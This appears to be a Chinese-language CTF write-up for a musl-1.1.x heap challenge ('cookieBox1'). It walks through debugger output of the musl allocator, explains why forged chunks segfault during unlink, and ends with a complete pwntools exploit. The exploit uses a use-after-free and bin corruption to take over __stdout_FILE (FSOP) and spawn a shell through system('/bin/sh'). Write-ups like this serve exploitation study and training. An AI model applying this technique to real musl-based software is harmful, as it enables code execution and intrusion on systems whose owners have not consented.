1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> p mal $1 = { binmap = 343597383680 , bins = {{ lock = {0 , 0 }, head = 0x0 , tail = 0x0 } <repeats 36 times>, { lock = {0 , 0 }, head = 0x7fe5b69c0710 , tail = 0x7fe5b69c0710 }, { lock = {0 , 0 }, head = 0x7fe5b69bde38 <mal+888 >, tail = 0x7fe5b69bde38 <mal+888 > }, { lock = {0 , 0 }, head = 0x6021f0 , tail = 0x6021f0 }, { lock = {0 , 0 }, head = 0x0 , tail = 0x0 } <repeats 25 times>}, free_lock = {0 , 0 } }
一般对于 musl-1.1.x 的入侵手段就是 FSOP,先利用 UAF 申请到 __stdout_FILE
最开始我的思路是劫持 bins,但试了好几次发现自己伪造的 chunk 会触发段错误:
1 2 3 0x7f4cc63a2674 <malloc +820 > mov qword ptr [rdx + 0x10 ], rax ► 0x7f4cc63a2678 <malloc +824 > mov qword ptr [rax + 0x18 ], rdx <mal+72 > 0x7f4cc63a267c <malloc +828 > mov rax, qword ptr [r8 + 8 ]
对应的源码如下:
1 2 3 4 if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL <<i)); c->prev->next = c->next; c->next->prev = c->prev;
调试发现 c
就是我们伪造 chunk 的地址,而后续的 unlink 操作极有可能发送段错误
即使尝试用 __stdout_FILE && __stdin_FILE
上的可写地址来绕过,最后也会因为 puts
异常而发生段错误
最后想到可以先利用 unbin 往 __stdout_FILE
中写一个合法地址,然后在基于这个地址伪造 fake chunk
1 2 3 lock = {0 , 0 }, head = 0x7f3056ddc3b0 , tail = 0x7f3056ddc530
1 2 3 4 5 pwndbg> telescope 0x7f3056ddc3b0 00 :0000 │ 0x7f3056ddc3b0 ◂— 0x1 01 :0008 │ 0x7f3056ddc3b8 ◂— 0x80 02 :0010 │ 0x7f3056ddc3c0 —▸ 0x7f3056ddc3b0 ◂— 0x1 03 :0018 │ 0x7f3056ddc3c8 —▸ 0x7f3056dd92e0 (__stdin_FILE+224 ) ◂— 0x0
往 chunk->bk
中写 __stdout_FILE-0x20
,就可以往 __stdout_FILE-0x10
中写一个堆地址
围绕这个堆地址写入 fake chunk 就可以成功申请到 __stdout_FILE
,然后写入 fake stdout 即可
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from pwn import *arch = 64 challenge = './cookieBox1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) b = "set debug-file-directory ./.debug/\n" local = 1 if local: p = process(challenge) else : p = remote('' ,'9999' ) def debug (): gdb.attach(p,"b* 0x0400A7D\n" ) pause() def cmd (op ): sla(">>" ,str (op)) def add (size,data ): cmd(1 ) sla("size" ,str (size)) sa("Content" ,data) def dele (index ): cmd(2 ) sla("idx" ,str (index)) def edit (index,data ): cmd(3 ) sla("idx" ,str (index)) sa("content" ,data) def show (index ): cmd(4 ) sla("idx:\n" ,str (index)) add(0x70 ,"/bin/sh\x00" ) add(0x70 ,"a" *0x10 ) add(0x70 ,"a" ) add(0x70 ,"a" *0x10 ) add(0x70 ,"a" *0x10 ) add(0x70 ,"a" *0x10 ) show(2 ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x292e61 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) system_libc = libc_base + libc.sym["system" ] stdin_libc = libc_base + libc.sym["__stdin_FILE" ] stdout_libc = libc_base + libc.sym["__stdout_FILE" ] stdout_close = libc_base + libc.sym["__stdio_close" ] mal_libc = libc_base + libc.sym["mal" ] success("stdin_libc >> " +hex (stdin_libc)) success("stdout_libc >> " +hex (stdout_libc)) dele(1 ) dele(4 ) add(0x70 ,"1" *0x10 ) add(0x70 ,"2" *0x10 ) dele(1 ) dele(4 ) edit(6 ,p64(libc_base+0x2953b0 )+p64(stdout_libc-0x20 )) add(0x70 ,"1" *0x10 ) dele(1 ) edit(6 ,p64(stdout_libc-0x20 )+p64(mal_libc+72 )) add(0x70 ,p64(stdout_libc-0x20 )+p64(mal_libc+72 )) fake_stdout_file = flat({ 0 : '/bin/sh\x00' , 0x20 : 1 , 0x28 : 1 , 0x30 : system_libc, 0x38 : 0 , 0x48 : system_libc }) payload = "1" *28 +"\x00" *0x10 +fake_stdout_file cmd(1 ) sla("size" ,str (0x70 )) ru(":" ) p.send(payload) p.interactive()